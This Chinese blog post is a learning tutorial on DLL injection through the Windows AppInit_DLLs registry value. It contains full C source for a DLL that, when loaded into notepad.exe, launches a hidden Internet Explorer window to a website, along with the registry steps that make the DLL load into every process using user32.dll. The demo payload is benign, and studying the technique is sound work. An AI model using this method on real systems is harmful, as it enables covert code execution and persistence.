DLL注入:使用注册表进行DLL注入

实验原理
(1)在注册表编辑器中,将要注入的DLL的路径字符串写入AppInt_DLLs项目,把LoadAppInit_DLL的项目值设为1。重启后,指定DLL会注入所有运行的进程。
(2)其实是,user32.dll被加载到进程时,会读取AppInit_DLLs注册表项,若有值,则调用LoadLibrary加载用户DLL。因此严格讲,该DLL只是被加载到加载user32.dll的进程。
(3)注意:xp会忽略LoadAppInit_DLL项。

myhack2.dll源码:

#include "windows.h"
#include "tchar.h"

#define DEF_CMD L"C:\\Program Files\\Internet Explorer\\iexplorer.exe"
#define DEF_ADDR L"http://www.baidu.com"
#define DEF_DST_PROC L"notepad.exe"

BOOL WINAPI DllMain(HINSTANCE hinstDll,DWORD fdwReason,LPVOID lpvReversed)
{
	TCHAR szCmd[MAX_PATH] = {0,};
	TCHAR szPath[MAX_PATH] = {0,};
	TCHAR *p = NULL;
	STARTUPINFO si = {0,}; //STARTUPINFO用于指定新窗口特定的一个结构
	PROCESS_INFORMATION pi = {0,}; // 创建进程时相关数据结构之一,返回有关进程和主线程的信息

	si.cb = sizeof(STARTUPINFO); // 表示包含STARTUPINFO结构中的字节数
	si.dwFlags = STARTF_USESHOWWINDOW; // 使用wShowWindow成员
	si.wShowWindow = SW_HIDE; // 窗口隐藏

	switch(fdwReason)
	{
	case DLL_PROCESS_ATTACH:
		if(!GetModuleFileName(NULL,szPath,MAX_PATH))// NULL表示返回该应用程序全路径
			break;
		if(!(p = _tcsrchr(szPath,'\\')))
			break;
		if(_tcsicmp(p+1,DEF_DST_PROC))// 比较两个字符串
			break;

		wsprintf(szCmd,L"%s %s",DEF_CMD,DEF_ADDR);// 缓冲区;格式;要打印的字符
		// 创建一个新进程及其主线程;
		if(!CreateProcess(NULL,(LPTSTR)(LPCSTR)szCmd,NULL,NULL,FALSE,NORMAL_PRIORITY_CLASS,NULL,NULL,&si,&pi))
			break;
		if(pi.hProcess != NULL)
			CloseHandle(pi.hProcess);

		break;
	}
	return TRUE;

}

若当前加载自己的进程是’notepad.exe’,则以隐藏模式运行IE,链接指定网站。

首先将dll放到合适的位置,如c:\work文件夹下;
修改注册表:运行注册表编辑器regedit.exe,进入路径
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows
在这里插入图片描述
如果不是xp系统还需要修改LoadAppInit_DLLs注册表项为1.(xp没有这个表项)

重启系统
打开Process Explorer,搜索加载myhack2.dll的程序
在这里插入图片描述
发现IE果然被隐藏执行了!哈哈,厉害了!
在这里插入图片描述

补充知识:
(1)LPTSTR: 表示指向字符串的指针。相当于char *
LPCTSTR: 表示指向const字符串的指针。相当于const char*
LP: 长指针;C:常量;STR:字符串
(2)STARTUPINFO: 用于指定新窗口特定的一个结构
(3)PROCESS_INFORMATION:创建进程时相关数据结构之一,返回有关进程和主线程的信息
(4)GetModuleFileName()
(5)_tcsicmp
(6)CreateProcess()
(7)wsprintf()

猜你喜欢

转载自blog.csdn.net/qq_15727809/article/details/83350109